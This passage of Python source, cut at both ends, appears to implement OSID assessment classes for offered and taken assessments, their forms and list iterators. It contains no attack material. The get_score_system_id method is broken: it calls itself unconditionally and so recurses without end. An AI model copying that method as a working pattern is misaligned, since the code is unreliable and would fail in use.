constraints. """ _record_type_data_sets = {} _namespace = 'assessment.AssessmentOffered' def __init__(self, osid_object_map=None, record_types=None, runtime=None, **kwargs): osid_objects.OsidForm.__init__(self, runtime=runtime) self._record_type_data_sets = self._get_registry('ASSESSMENT_OFFERED_RECORD_TYPES') self._kwargs = kwargs if 'catalog_id' in kwargs: self._catalog_id = kwargs['catalog_id'] self._init_metadata(**kwargs) self._records = dict() self._supported_record_type_ids = [] if osid_object_map is not None: self._for_update = True self._my_map = osid_object_map self._load_records(osid_object_map['recordTypeIds']) else: self._my_map = {} self._for_update = False self._init_map(**kwargs) if record_types is not None: self._init_records(record_types) self._supported_record_type_ids = self._my_map['recordTypeIds'] def _init_metadata(self, **kwargs): osid_objects.OsidObjectForm._init_metadata(self, **kwargs) self._level_metadata = { 'element_id': Id( self._authority, self._namespace, 'level')} self._level_metadata.update(mdata_conf.ASSESSMENT_OFFERED_LEVEL) self._start_time_metadata = { 'element_id': Id( self._authority, self._namespace, 'start_time')} self._start_time_metadata.update(mdata_conf.ASSESSMENT_OFFERED_START_TIME) self._grade_system_metadata = { 'element_id': Id( self._authority, self._namespace, 'grade_system')} self._grade_system_metadata.update(mdata_conf.ASSESSMENT_OFFERED_GRADE_SYSTEM) self._items_shuffled_metadata = { 'element_id': Id( self._authority, self._namespace, 'items_shuffled')} self._items_shuffled_metadata.update(mdata_conf.ASSESSMENT_OFFERED_ITEMS_SHUFFLED) self._score_system_metadata = { 'element_id': Id( self._authority, self._namespace, 'score_system')} self._score_system_metadata.update(mdata_conf.ASSESSMENT_OFFERED_SCORE_SYSTEM) self._deadline_metadata = { 'element_id': Id( self._authority, self._namespace, 'deadline')} self._deadline_metadata.update(mdata_conf.ASSESSMENT_OFFERED_DEADLINE) self._duration_metadata = { 'element_id': Id( self._authority, self._namespace, 'duration')} self._duration_metadata.update(mdata_conf.ASSESSMENT_OFFERED_DURATION) self._items_sequential_metadata = { 'element_id': Id( self._authority, self._namespace, 'items_sequential')} self._items_sequential_metadata.update(mdata_conf.ASSESSMENT_OFFERED_ITEMS_SEQUENTIAL) self._level_default = self._level_metadata['default_id_values'][0] self._start_time_default = self._start_time_metadata['default_date_time_values'][0] self._grade_system_default = self._grade_system_metadata['default_id_values'][0] self._items_shuffled_default = None self._score_system_default = self._score_system_metadata['default_id_values'][0] self._deadline_default = self._deadline_metadata['default_date_time_values'][0] self._duration_default = self._duration_metadata['default_duration_values'][0] self._items_sequential_default = None def _init_map(self, **kwargs): osid_objects.OsidObjectForm._init_map(self) self._my_map['levelId'] = self._level_default self._my_map['startTime'] = self._start_time_default self._my_map['gradeSystemId'] = self._grade_system_default self._my_map['itemsShuffled'] = self._items_shuffled_default self._my_map['scoreSystemId'] = self._score_system_default self._my_map['deadline'] = self._deadline_default self._my_map['assignedBankIds'] = [str(kwargs['bank_id'])] self._my_map['duration'] = self._duration_default self._my_map['assessmentId'] = str(kwargs['assessment_id']) self._my_map['itemsSequential'] = self._items_sequential_default def get_level_metadata(self): """Gets the metadata for a grade level. return: (osid.Metadata) - metadata for the grade level *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._level_metadata) metadata.update({'existing_level_values': self._my_map['levelId']}) return Metadata(**metadata) level_metadata = property(fget=get_level_metadata) @utilities.arguments_not_none def set_level(self, grade_id): """Sets the level of difficulty expressed as a ``Grade``. arg: grade_id (osid.id.Id): the grade level raise: InvalidArgument - ``grade_id`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.set_avatar_template if self.get_level_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_id(grade_id): raise errors.InvalidArgument() self._my_map['levelId'] = str(grade_id) def clear_level(self): """Clears the level. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.clear_avatar_template if (self.get_level_metadata().is_read_only() or self.get_level_metadata().is_required()): raise errors.NoAccess() self._my_map['levelId'] = self._level_default level = property(fset=set_level, fdel=clear_level) def get_items_sequential_metadata(self): """Gets the metadata for sequential operation. return: (osid.Metadata) - metadata for the sequential flag *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._items_sequential_metadata) metadata.update({'existing_items_sequential_values': self._my_map['itemsSequential']}) return Metadata(**metadata) items_sequential_metadata = property(fget=get_items_sequential_metadata) @utilities.arguments_not_none def set_items_sequential(self, sequential): """Sets the items sequential flag. arg: sequential (boolean): ``true`` if the items are taken sequentially, ``false`` if the items can be skipped and revisited raise: InvalidArgument - ``sequential`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.set_group_template if self.get_items_sequential_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_boolean(sequential): raise errors.InvalidArgument() self._my_map['itemsSequential'] = sequential def clear_items_sequential(self): """Clears the items sequential flag. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.clear_group_template if (self.get_items_sequential_metadata().is_read_only() or self.get_items_sequential_metadata().is_required()): raise errors.NoAccess() self._my_map['itemsSequential'] = self._items_sequential_default items_sequential = property(fset=set_items_sequential, fdel=clear_items_sequential) def get_items_shuffled_metadata(self): """Gets the metadata for shuffling items. return: (osid.Metadata) - metadata for the shuffled flag *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._items_shuffled_metadata) metadata.update({'existing_items_shuffled_values': self._my_map['itemsShuffled']}) return Metadata(**metadata) items_shuffled_metadata = property(fget=get_items_shuffled_metadata) @utilities.arguments_not_none def set_items_shuffled(self, shuffle): """Sets the shuffle flag. The shuffle flag may be overidden by other assessment sequencing rules. arg: shuffle (boolean): ``true`` if the items are shuffled, ``false`` if the items appear in the designated order raise: InvalidArgument - ``shuffle`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.set_group_template if self.get_items_shuffled_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_boolean(shuffle): raise errors.InvalidArgument() self._my_map['itemsShuffled'] = shuffle def clear_items_shuffled(self): """Clears the shuffle flag. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.clear_group_template if (self.get_items_shuffled_metadata().is_read_only() or self.get_items_shuffled_metadata().is_required()): raise errors.NoAccess() self._my_map['itemsShuffled'] = self._items_shuffled_default items_shuffled = property(fset=set_items_shuffled, fdel=clear_items_shuffled) def get_start_time_metadata(self): """Gets the metadata for the assessment start time. return: (osid.Metadata) - metadata for the start time *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._start_time_metadata) metadata.update({'existing_start_time_values': self._my_map['startTime']}) return Metadata(**metadata) start_time_metadata = property(fget=get_start_time_metadata) @utilities.arguments_not_none def set_start_time(self, start): """Sets the assessment start time. arg: start (osid.calendaring.DateTime): assessment start time raise: InvalidArgument - ``start`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.assessment.AssessmentOfferedForm.set_start_time_template if self.get_start_time_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_date_time( start, self.get_start_time_metadata()): raise errors.InvalidArgument() self._my_map['startTime'] = start def clear_start_time(self): """Clears the start time. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ if (self.get_start_time_metadata().is_read_only() or self.get_start_time_metadata().is_required()): raise errors.NoAccess() self._my_map['startTime'] = self._start_time_default start_time = property(fset=set_start_time, fdel=clear_start_time) def get_deadline_metadata(self): """Gets the metadata for the assessment deadline. return: (osid.Metadata) - metadata for the end time *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._deadline_metadata) metadata.update({'existing_deadline_values': self._my_map['deadline']}) return Metadata(**metadata) deadline_metadata = property(fget=get_deadline_metadata) @utilities.arguments_not_none def set_deadline(self, end): """Sets the assessment end time. arg: end (timestamp): assessment end time raise: InvalidArgument - ``end`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.assessment.AssessmentOfferedForm.set_start_time_template if self.get_deadline_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_timestamp( end, self.get_deadline_metadata()): raise errors.InvalidArgument() self._my_map['deadline'] = end def clear_deadline(self): """Clears the deadline. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ if (self.get_deadline_metadata().is_read_only() or self.get_deadline_metadata().is_required()): raise errors.NoAccess() self._my_map['deadline'] = self._deadline_default deadline = property(fset=set_deadline, fdel=clear_deadline) def get_duration_metadata(self): """Gets the metadata for the assessment duration. return: (osid.Metadata) - metadata for the duration *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._duration_metadata) metadata.update({'existing_duration_values': self._my_map['duration']}) return Metadata(**metadata) duration_metadata = property(fget=get_duration_metadata) @utilities.arguments_not_none def set_duration(self, duration): """Sets the assessment duration. arg: duration (osid.calendaring.Duration): assessment duration raise: InvalidArgument - ``duration`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.assessment.AssessmentOfferedForm.set_duration_template if self.get_duration_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_duration(duration, self.get_duration_metadata()): raise errors.InvalidArgument() map = dict() map['days'] = duration.days map['seconds'] = duration.seconds map['microseconds'] = duration.microseconds self._my_map['duration'] = map def clear_duration(self): """Clears the duration. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() duration = property(fset=set_duration, fdel=clear_duration) def get_score_system_metadata(self): """Gets the metadata for a score system. return: (osid.Metadata) - metadata for the grade system *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._score_system_metadata) metadata.update({'existing_score_system_values': self._my_map['scoreSystemId']}) return Metadata(**metadata) score_system_metadata = property(fget=get_score_system_metadata) @utilities.arguments_not_none def set_score_system(self, grade_system_id): """Sets the scoring system. arg: grade_system_id (osid.id.Id): the grade system raise: InvalidArgument - ``grade_system_id`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.set_avatar_template if self.get_score_system_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_id(grade_system_id): raise errors.InvalidArgument() self._my_map['scoreSystemId'] = str(grade_system_id) def clear_score_system(self): """Clears the score system. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.clear_avatar_template if (self.get_score_system_metadata().is_read_only() or self.get_score_system_metadata().is_required()): raise errors.NoAccess() self._my_map['scoreSystemId'] = self._score_system_default score_system = property(fset=set_score_system, fdel=clear_score_system) def get_grade_system_metadata(self): """Gets the metadata for a grading system. return: (osid.Metadata) - metadata for the grade system *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._grade_system_metadata) metadata.update({'existing_grade_system_values': self._my_map['gradeSystemId']}) return Metadata(**metadata) grade_system_metadata = property(fget=get_grade_system_metadata) @utilities.arguments_not_none def set_grade_system(self, grade_system_id): """Sets the grading system. arg: grade_system_id (osid.id.Id): the grade system raise: InvalidArgument - ``grade_system_id`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.set_avatar_template if self.get_grade_system_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_id(grade_system_id): raise errors.InvalidArgument() self._my_map['gradeSystemId'] = str(grade_system_id) def clear_grade_system(self): """Clears the grading system. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.clear_avatar_template if (self.get_grade_system_metadata().is_read_only() or self.get_grade_system_metadata().is_required()): raise errors.NoAccess() self._my_map['gradeSystemId'] = self._grade_system_default grade_system = property(fset=set_grade_system, fdel=clear_grade_system) @utilities.arguments_not_none def get_assessment_offered_form_record(self, assessment_offered_record_type): """Gets the ``AssessmentOfferedFormRecord`` corresponding to the given assessment record ``Type``. arg: assessment_offered_record_type (osid.type.Type): the assessment offered record type return: (osid.assessment.records.AssessmentOfferedFormRecord) - the assessment offered record raise: NullArgument - ``assessment_offered_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(assessment_offered_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(assessment_offered_record_type) class AssessmentOfferedList(abc_assessment_objects.AssessmentOfferedList, osid_objects.OsidList): """Like all ``OsidLists,`` ``AssessmentOfferedList`` provides a means for accessing ``AssessmentTaken`` elements sequentially either one at a time or many at a time. Examples: while (aol.hasNext()) { AssessmentOffered assessment = aol.getNextAssessmentOffered(); or while (aol.hasNext()) { AssessmentOffered[] assessments = aol.hetNextAssessmentsOffered(aol.available()); } """ def get_next_assessment_offered(self): """Gets the next ``AssessmentOffered`` in this list. return: (osid.assessment.AssessmentOffered) - the next ``AssessmentOffered`` in this list. The ``has_next()`` method should be used to test that a next ``AssessmentOffered`` is available before calling this method. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resource return self.next() def next(self): return self._get_next_object(AssessmentOffered) next_assessment_offered = property(fget=get_next_assessment_offered) @utilities.arguments_not_none def get_next_assessments_offered(self, n): """Gets the next set of ``AssessmentOffered`` elements in this list which must be less than or equal to the number returned from ``available()``. arg: n (cardinal): the number of ``AssessmentOffered`` elements requested which should be less than or equal to ``available()`` return: (osid.assessment.AssessmentOffered) - an array of ``AssessmentOffered`` elements.The length of the array is less than or equal to the number specified. raise: IllegalState - no more elements available in this list raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceList.get_next_resources return self._get_next_n(n) class AssessmentTaken(abc_assessment_objects.AssessmentTaken, osid_objects.OsidObject): """Represents a taken assessment or an assessment in progress.""" _record_type_data_sets = {} _namespace = 'assessment.AssessmentTaken' def __init__(self, osid_object_map, runtime=None): osid_objects.OsidObject.__init__(self, osid_object_map, runtime) self._record_type_data_sets = self._get_registry('ASSESSMENT_TAKEN_RECORD_TYPES') self._records = dict() self._load_records(osid_object_map['recordTypeIds']) self._catalog_name = 'bank' def get_assessment_offered_id(self): """Gets the ``Id`` of the ``AssessmentOffered``. return: (osid.id.Id) - the assessment offered ``Id`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.Activity.get_objective_id return Id(self._my_map['assessmentOfferedId']) assessment_offered_id = property(fget=get_assessment_offered_id) def get_assessment_offered(self): """Gets the ``AssessmentOffered``. return: (osid.assessment.AssessmentOffered) - the assessment offered raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.learning.Activity.get_objective mgr = self._get_provider_manager('ASSESSMENT') if not mgr.supports_assessment_offered_lookup(): raise errors.OperationFailed('Assessment does not support AssessmentOffered lookup') lookup_session = mgr.get_assessment_offered_lookup_session() lookup_session.use_federated_bank_view() return lookup_session.get_assessment_offered(self.get_assessment_offered_id()) assessment_offered = property(fget=get_assessment_offered) def get_taker_id(self): """Gets the ``Id`` of the resource who took or is taking this assessment. return: (osid.id.Id) - the resource ``Id`` *compliance: mandatory -- This method must be implemented.* """ if self._my_map['takerId']: return Id(self._my_map['takerId']) else: return Id(self._my_map['takingAgentId']) taker_id = property(fget=get_taker_id) def get_taker(self): """Gets the ``Resource`` taking this assessment. return: (osid.resource.Resource) - the resource raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() taker = property(fget=get_taker) def get_taking_agent_id(self): """Gets the ``Id`` of the ``Agent`` who took or is taking the assessment. return: (osid.id.Id) - the agent ``Id`` *compliance: mandatory -- This method must be implemented.* """ return Id(self._my_map['takingAgentId']) taking_agent_id = property(fget=get_taking_agent_id) def get_taking_agent(self): """Gets the ``Agent``. return: (osid.authentication.Agent) - the agent raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() taking_agent = property(fget=get_taking_agent) def has_started(self): """Tests if this assessment has begun. return: (boolean) - ``true`` if the assessment has begun, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # This needs to be updated to only reflect actual start time?? if 'started' in self._my_map and self._my_map['started']: return True else: my_assessment_offered = self.get_assessment_offered() if my_assessment_offered.has_start_time(): self._my_map['started'] = DateTime.now() >= my_assessment_offered.get_start_time() return self._my_map['started'] else: self._my_map['started'] = True return True def get_actual_start_time(self): """Gets the time this assessment was started. return: (osid.calendaring.DateTime) - the start time raise: IllegalState - ``has_started()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ if not self.has_started(): raise errors.IllegalState('this assessment has not yet started') if self._my_map['actualStartTime'] is None: raise errors.IllegalState('this assessment has not yet been started by the taker') else: return self._my_map['actualStartTime'] actual_start_time = property(fget=get_actual_start_time) def has_ended(self): """Tests if this assessment has ended. return: (boolean) - ``true`` if the assessment has ended, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Perhaps this should just check for existance of self._my_map['completionTime']? return bool('ended' in self._my_map and self._my_map['ended']) def get_completion_time(self): """Gets the time of this assessment was completed. return: (osid.calendaring.DateTime) - the end time raise: IllegalState - ``has_ended()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ if not self.has_ended(): raise errors.IllegalState('this assessment has not yet ended') if not self._my_map['completionTime']: raise errors.OperationFailed('someone forgot to set the completion time') return self._my_map['completionTime'] completion_time = property(fget=get_completion_time) def get_time_spent(self): """Gets the total time spent taking this assessment. return: (osid.calendaring.Duration) - the total time spent *compliance: mandatory -- This method must be implemented.* """ if self.has_started() and self.has_ended(): return self.get_completion_time() - self.get_actual_start_time() else: raise errors.IllegalState() time_spent = property(fget=get_time_spent) def get_completion(self): """Gets a completion percentage of the assessment. return: (cardinal) - the percent complete (0-100) *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.assessment.AssessmentTaken.get_completion_template return int(self._my_map['completion']) completion = property(fget=get_completion) def is_scored(self): """Tests if a score is available for this assessment. return: (boolean) - ``true`` if a score is available, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.is_group_template return self._my_map['scored'] def get_score_system_id(self): """Gets a score system ``Id`` for the assessment. return: (osid.id.Id) - the grade system raise: IllegalState - ``is_score()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['scoreSystemId']: raise errors.IllegalState('this AssessmentTaken has no score_system') mgr = self._get_provider_manager('ID') if not mgr.supports_id_lookup(): raise errors.OperationFailed('Id does not support Id lookup') lookup_session = mgr.get_id_lookup_session() lookup_session.use_federated_no_catalog_view() osid_object = lookup_session.get_id(self.get_score_system_id()) return osid_object score_system_id = property(fget=get_score_system_id) def get_score_system(self): """Gets a grade system for the score. return: (osid.grading.GradeSystem) - the grade system raise: IllegalState - ``is_scored()`` is ``false`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['scoreSystemId']: raise errors.IllegalState('this AssessmentTaken has no score_system') mgr = self._get_provider_manager('GRADING') if not mgr.supports_grade_system_lookup(): raise errors.OperationFailed('Grading does not support GradeSystem lookup') lookup_session = mgr.get_grade_system_lookup_session() lookup_session.use_federated_gradebook_view() osid_object = lookup_session.get_grade_system(self.get_score_system_id()) return osid_object score_system = property(fget=get_score_system) def get_score(self): """Gets a score for the assessment. return: (decimal) - the score raise: IllegalState - ``is_scored()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.assessment.AssessmentTaken.get_score_template return float(self._my_map['score']) score = property(fget=get_score) def is_graded(self): """Tests if a grade is available for this assessment. return: (boolean) - ``true`` if a grade is available, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.is_group_template return self._my_map['graded'] def get_grade_id(self): """Gets a grade ``Id`` for the assessment. return: (osid.id.Id) - the grade raise: IllegalState - ``is_graded()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_id_template if not self._my_map['gradeId']: raise errors.IllegalState('this AssessmentTaken has no grade') else: return Id(self._my_map['gradeId']) grade_id = property(fget=get_grade_id) def get_grade(self): """Gets a grade for the assessment. return: (osid.grading.Grade) - the grade raise: IllegalState - ``is_graded()`` is ``false`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['gradeId']: raise errors.IllegalState('this AssessmentTaken has no grade') mgr = self._get_provider_manager('GRADING') if not mgr.supports_grade_lookup(): raise errors.OperationFailed('Grading does not support Grade lookup') lookup_session = mgr.get_grade_lookup_session() lookup_session.use_federated_gradebook_view() osid_object = lookup_session.get_grade(self.get_grade_id()) return osid_object grade = property(fget=get_grade) def get_feedback(self): """Gets any overall comments available for this assessment by the grader. return: (osid.locale.DisplayText) - comments *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.repository.Asset.get_title_template return DisplayText(self._my_map['feedback']) feedback = property(fget=get_feedback) def has_rubric(self): """Tests if a rubric assessment is associated with this assessment. return: (boolean) - ``true`` if a rubric is available, ``false`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.has_avatar_template return bool(self._my_map['rubricId']) def get_rubric_id(self): """Gets the ``Id`` of the rubric. return: (osid.id.Id) - an assessment taken ``Id`` raise: IllegalState - ``has_rubric()`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_id_template if not self._my_map['rubricId']: raise errors.IllegalState('this AssessmentTaken has no rubric') else: return Id(self._my_map['rubricId']) rubric_id = property(fget=get_rubric_id) def get_rubric(self): """Gets the rubric. return: (osid.assessment.AssessmentTaken) - the assessment taken raise: IllegalState - ``has_rubric()`` is ``false`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.Resource.get_avatar_template if not self._my_map['rubricId']: raise errors.IllegalState('this AssessmentTaken has no rubric') mgr = self._get_provider_manager('ASSESSMENT') if not mgr.supports_assessment_taken_lookup(): raise errors.OperationFailed('Assessment does not support AssessmentTaken lookup') lookup_session = mgr.get_assessment_taken_lookup_session() lookup_session.use_federated_bank_view() osid_object = lookup_session.get_assessment_taken(self.get_rubric_id()) return osid_object rubric = property(fget=get_rubric) @utilities.arguments_not_none def get_assessment_taken_record(self, assessment_taken_record_type): """Gets the assessment taken record corresponding to the given ``AssessmentTaken`` record ``Type``. This method is used to retrieve an object implementing the requested record. The ``assessment_taken_record_type`` may be the ``Type`` returned in ``get_record_types()`` or any of its parents in a ``Type`` hierarchy where ``has_record_type(assessment_taken_record_type)`` is ``true`` . arg: assessment_taken_record_type (osid.type.Type): an assessment taken record type return: (osid.assessment.records.AssessmentTakenRecord) - the assessment taken record raise: NullArgument - ``assessment_taken_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(assessment_taken_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(assessment_taken_record_type) def get_display_name(self): # Overrides osid.objects.OsidObject.get_display_name to default to AssessmentOffered's # display_name if none has been authored for this AssessmentTaken from ..osid.objects import OsidObject if OsidObject.get_display_name(self).get_text(): return OsidObject.get_display_name(self) else: return self.get_assessment_offered().get_display_name() def get_description(self): # Overrides osid.objects.OsidObject.get_description to default to AssessmentOffered's # description if none has been authored for this AssessmentTaken from ..osid.objects import OsidObject if OsidObject.get_description(self).get_text(): return OsidObject.get_description(self) else: return self.get_assessment_offered().get_description() def get_object_map(self): obj_map = dict(self._my_map) if obj_map['actualStartTime'] is not None: actual_start_time = obj_map['actualStartTime'] obj_map['actualStartTime'] = dict() obj_map['actualStartTime']['year'] = actual_start_time.year obj_map['actualStartTime']['month'] = actual_start_time.month obj_map['actualStartTime']['day'] = actual_start_time.day obj_map['actualStartTime']['hour'] = actual_start_time.hour obj_map['actualStartTime']['minute'] = actual_start_time.minute obj_map['actualStartTime']['second'] = actual_start_time.second obj_map['actualStartTime']['microsecond'] = actual_start_time.microsecond if obj_map['completionTime'] is not None: completion_time = obj_map['completionTime'] obj_map['completionTime'] = dict() obj_map['completionTime']['year'] = completion_time.year obj_map['completionTime']['month'] = completion_time.month obj_map['completionTime']['day'] = completion_time.day obj_map['completionTime']['hour'] = completion_time.hour obj_map['completionTime']['minute'] = completion_time.minute obj_map['completionTime']['second'] = completion_time.second obj_map['completionTime']['microsecond'] = completion_time.microsecond if 'itemIds' in obj_map: del obj_map['itemIds'] if 'responses' in obj_map: del obj_map['responses'] obj_map = osid_objects.OsidObject.get_object_map(self, obj_map) if obj_map['displayName']['text'] == '': obj_map['displayName']['text'] = self.get_display_name().get_text() if obj_map['description']['text'] == '': obj_map['description']['text'] = self.get_description().get_text() return obj_map object_map = property(fget=get_object_map) class AssessmentTakenForm(abc_assessment_objects.AssessmentTakenForm, osid_objects.OsidObjectForm): """This is the form for creating and updating an ``AssessmentTaken``. Like all ``OsidForm`` objects, various data elements may be set here for use in the create and update methods in the ``AssessmentTakenAdminSession``. For each data element that may be set, metadata may be examined to provide display hints or data constraints. """ _record_type_data_sets = {} _namespace = 'assessment.AssessmentTaken' def __init__(self, osid_object_map=None, record_types=None, runtime=None, **kwargs): osid_objects.OsidForm.__init__(self, runtime=runtime) self._record_type_data_sets = self._get_registry('ASSESSMENT_TAKEN_RECORD_TYPES') self._kwargs = kwargs if 'catalog_id' in kwargs: self._catalog_id = kwargs['catalog_id'] self._init_metadata(**kwargs) self._records = dict() self._supported_record_type_ids = [] if osid_object_map is not None: self._for_update = True self._my_map = osid_object_map self._load_records(osid_object_map['recordTypeIds']) else: self._my_map = {} self._for_update = False self._init_map(**kwargs) if record_types is not None: self._init_records(record_types) self._supported_record_type_ids = self._my_map['recordTypeIds'] def _init_metadata(self, **kwargs): osid_objects.OsidObjectForm._init_metadata(self, **kwargs) self._taker_metadata = { 'element_id': Id( self._authority, self._namespace, 'taker')} self._taker_metadata.update(mdata_conf.ASSESSMENT_TAKEN_TAKER) self._taker_default = self._taker_metadata['default_id_values'][0] def _init_map(self, **kwargs): osid_objects.OsidObjectForm._init_map(self) self._my_map['assessmentOfferedId'] = str(kwargs['assessment_offered_id']) self._my_map['takerId'] = self._taker_default self._my_map['assignedBankIds'] = [str(kwargs['bank_id'])] self._my_map['actualStartTime'] = None self._my_map['gradeId'] = '' self._my_map['completionTime'] = None self._my_map['score'] = '' def get_taker_metadata(self): """Gets the metadata for a resource to manually set which resource will be taking the assessment. return: (osid.Metadata) - metadata for the resource *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.get_group_metadata_template metadata = dict(self._taker_metadata) metadata.update({'existing_taker_values': self._my_map['takerId']}) return Metadata(**metadata) taker_metadata = property(fget=get_taker_metadata) @utilities.arguments_not_none def set_taker(self, resource_id): """Sets the resource who will be taking this assessment. arg: resource_id (osid.id.Id): the resource Id raise: InvalidArgument - ``resource_id`` is invalid raise: NoAccess - ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.set_avatar_template if self.get_taker_metadata().is_read_only(): raise errors.NoAccess() if not self._is_valid_id(resource_id): raise errors.InvalidArgument() self._my_map['takerId'] = str(resource_id) def clear_taker(self): """Clears the resource. raise: NoAccess - ``Metadata.isRequired()`` or ``Metadata.isReadOnly()`` is ``true`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceForm.clear_avatar_template if (self.get_taker_metadata().is_read_only() or self.get_taker_metadata().is_required()): raise errors.NoAccess() self._my_map['takerId'] = self._taker_default taker = property(fset=set_taker, fdel=clear_taker) @utilities.arguments_not_none def get_assessment_taken_form_record(self, assessment_taken_record_type): """Gets the ``AssessmentTakenFormRecord`` corresponding to the given assessment taken record ``Type``. arg: assessment_taken_record_type (osid.type.Type): the assessment taken record type return: (osid.assessment.records.AssessmentTakenFormRecord) - the assessment taken record raise: NullArgument - ``assessment_taken_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: Unsupported - ``has_record_type(assessment_taken_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return self._get_record(assessment_taken_record_type) class 